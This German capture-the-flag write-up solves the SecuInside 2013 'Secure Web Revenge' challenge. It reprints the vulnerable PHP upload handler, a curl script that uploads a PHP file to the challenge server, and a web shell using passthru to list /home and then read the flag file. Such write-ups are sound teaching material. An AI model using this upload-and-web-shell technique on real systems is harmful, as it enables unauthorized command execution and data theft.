Diese Challenge (Secure Web Revenge) deutet vom Namen schon sehr stark auf die “Secure Web” – Challenge dieses Capture the Flags hin. Zuerst sehen wir wieder die Webseite selbst an.
Auch die Optik der Webseite erinnert an die vorherige Challenge. Doch unter dem “Submit Query” – Button ist ein zusätzliches Feld für den “privaten Schlüssel” eingefügt worden. Ebenso wird der Quellcode wieder mitgeliefert, in dem wir nun die Funktion des “Schlüssels” in Erfahrung bringen wollen:
<?php if($_SERVER['REQUEST_METHOD'] == "POST") { $uploaddir = '/var/www/uploads/' . md5(crypt($_SERVER["REMOTE_ADDR"], $_POST['code'] )) . '/'; if(is_dir($uploaddir) == false) mkdir($uploaddir); if(strstr($_FILES['data']['name'], "./") != FALSE) { exit; } if(strstr($_FILES['data']['name'], "../") != FALSE) { exit; } $uploadfile = $uploaddir . basename($_FILES['data']['name']); if (move_uploaded_file($_FILES['data']['tmp_name'], $uploadfile)) { echo "<script>alert('Success'); document.href='./';</script>\n"; } else { print "<script>alert('failed'); document.href='./';</script>"; } } else { $fp = fopen("/tmp/logs2", "a+"); fwrite($fp, "==== start \n"); foreach($_SERVER as $k => $v) fwrite($fp, $k . "==>" . $v . "\n"); foreach($_GET as $k => $v) fwrite($fp, $k . "==>" . $v . "\n"); foreach($_FILES as $k => $v) fwrite($fp, $k . "==>" . $v . "\n"); fclose($fp); } ?>
Das Upload-PHP-Skript entspricht im Wesentlichen dem der vorherigen Challenge, mit dem Unterschied, dass Protokolle erstellt werden (Zeilen 21-33) und das Upload-Verzeichnis aus der Variable $_POST[‘code’], also dem “privaten Schlüssel”, berechnet wird (Zeile 5).
Da sich darüber hinaus wenig verändert hat (das mitgelieferte Apache-Modul “mod_dontwebhack350.so” haben wir noch nicht geprüft), werden wir zuerst das selbe Vorgehen wie bei der Challenge “Secure Web” wählen und den Upload von PHP-Skripten per “curl” versuchen!
Dazu ermitteln wir zunächst das (neue) verschlüsselte Upload-Verzeichnis, indem wir den Quellcode aus dem Upload-Skript übernehmen und als “privaten Schlüssel” “123” wählen.
<?php $uploaddir = 'http://59.9.131.155:9852/uploads/' . md5(crypt("1.2.3.4", "123" )) . '/'; print "UPLOAD: $uploaddir\n"; ?>
Nach dem Aufruf erhalten wir:
rup0rt@lambda:~/SecuInside2013$ php uploaddir.php
UPLOAD: http://59.9.131.155:9852/uploads/6c3417fbef3038297fc7ff9f112bdf42/
Unsere hochgeladenen Dateien sollten sich demnach gleich in diesem Verzeichnis befinden.
Anschließend erstellen wir ein zur vorherigen Challenge analoges Upload-Skript, passen die URL an und fügen die Variable für den “privaten Schlüssel” mit dem Wert “123” ein:
#!/bin/sh POST='data=@test.php;filename=test.php;type=application/x-php' echo "POSTING: $POST" curl -L -F "$POST" -F "code=123" "http://59.9.131.155:9852/upload.php" echo
Als Inhalt für das hochzuladene PHP-Skript wählen wir:
<? passthru("ls -l /home/"); echo "<br><br>done"; ?>
Wenn wir nun das BASH-Skript zum hochladen dieser Datei ausführen, erhalten wir:
rup0rt@lambda:~/SecuInside2013$ ./secure_web_revenge.sh
POSTING: data=@test.php;filename=test.php;type=application/x-php
Success
Bei Aufruf unserer PHP-Skriptes mit dem Webbrowser sehen wir dieses Ergebnis:
Unglaublich aber wahr, die Ersteller der Challengen haben offenbar den selben (ungewollten?) “Fehler” wie in der vorherigen Challenge auch hier implementiert. Erneut mussten wir uns das Apache-Modul überhaupt nicht ansehen und konnten die Web Application Firewall ohne Aufwand überwinden.
Und auch wenn wir das Verzeichnis “dwh_revenge” nun nicht mehr direkt auflisten können (fehlendes “r” bit), könnten wir doch hinein wechseln (“x” bit). Ebenso wissen wir aus der Challenge “Secure Web”, dass die Datei “flags” hieß. Wir passen unser PHP-Skript an, dieses Mal die Datei “/home/dwh_revenge/flags” per “cat” auszulesen und erhalten noch erneutem Upload:
Die Lösung lautet somit “Sl33py, y0u w0n!“.